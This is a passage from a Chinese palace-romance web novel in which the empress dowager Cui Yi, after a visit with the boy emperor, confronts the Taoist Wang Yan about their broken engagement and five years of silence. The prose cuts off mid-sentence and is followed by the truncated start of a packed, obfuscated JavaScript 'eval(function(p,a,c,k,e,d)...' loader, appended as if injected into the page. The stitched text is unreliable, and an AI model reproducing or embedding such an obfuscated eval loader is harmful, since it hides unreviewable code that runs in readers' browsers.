的纸张,竹笔斜放在砚台上,笔尖湿润,可见他晨间已起过身,来此处抄写了几行。
崔仪拿起细看,字迹秀丽工整,每一张都是如此,不曾因为枯燥反复的事情而失了耐性。
她转而对王厌道:“陛下近来多梦,想问问道长可有法子解惑。”
卫秀本想跟上去也看看那些抄书,这会儿又停下来道:“夜间不得安眠,多梦易醒,不知是否父皇仍有牵挂,心中不安,前来请教道长。”
这些并非王厌份内的事务,他只好说:“观中已办过法会,不应当如此,陛下兴许是过劳难眠。”
“过劳?”
新帝才十五,卫家人跟他也不亲,朝中失势,手里连个折子都难见几个,王厌能说出这话,可见对朝政全不关心。
崔仪与卫秀对视一眼,替他开了口:“政事有旁人帮衬,皇帝并不忙碌,看来是另有缘由。”
王厌目不斜视越过二人,跪在蒲团上重新提起笔:“御医如何说?”
他这样无礼的举措,崔仪还没发火,王家的两个仆人就吓得跪到了地上,埋头于地。
卫秀也茫然,本想问罪,想起灵堂上的那一幕,有些委屈地望向崔仪。
“我有些话要问一问道长,还请皇帝稍作等候。”
这于礼不合,两个宫人都要反对,卫秀却乖顺地走了出去。
皇帝都如此,其余仆从也跟着退至外堂。
惜云找了个软垫置于一旁的木椅上,扶着崔仪坐在上头,此番举措,王厌连头也不抬一下,只是盯着纸,笔走游龙。
静水堂内只剩下了二人,惜云守在门口。
崔仪见他似乎不打算开口,主动道:“王厌,你心中怨我,可你不该这样对皇帝不敬。”
王厌紧紧握着笔杆,闭目道:“微臣不曾有怨。”
“是吗?”崔仪起身,衣裙摆动,停在他身旁,她俯下身,掐着王厌的脸迫使他望着自己,“你为先帝上香出错,在法会上折水灯也出错,还刻意对卫秀不敬……王厌,你不是这样无礼之人,若不是怨我,难道是怨恨卫家、怨恨先帝与卫秀?”
“我……”王厌挣开她的手,脖颈上隐隐发红,他慌张地拢起衣领,“你疯了?这是宫里!”
总算有了些凡人的喜怒,崔仪的语色柔和几分:“我又没做什么。”
她坐到他身旁,和他平视:“宣你入宫,是为了见你,这几日你可曾想明白?”
王厌哑声:“这几日?太后忘了如今的身份?臣何止想了这几日,更是想了整整五年,却始终没有看透你。”
“有什么看不透?”崔仪怜惜地看着他的手,“我叫你等我,如今卫泠死了,你我终可相守。”
相守二字,如今在王厌耳中听来实在讽刺:“太后许是记错了人,与你结过姻缘、拜过天地的,是先帝卫泠,而非微臣。”
“好了,都与你说了当初的婚约只是权宜之计,你还闹什么?”崔仪失望地望着他,为自己解释,“我从未爱过他,这些年一直记挂着你。”
王厌气急失态,闻言不由要笑,冰雪消融一瞬,似兰花倾仄。
“记挂我,所以五年来不曾有过书信、不曾有一句问话?”这番近乎质问的话说出口显得急切,王厌不得不冷静,“你走吧,抄完这些道书,我们往后也不必见面。”
崔仪隐有痛色:“你以为是我不想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)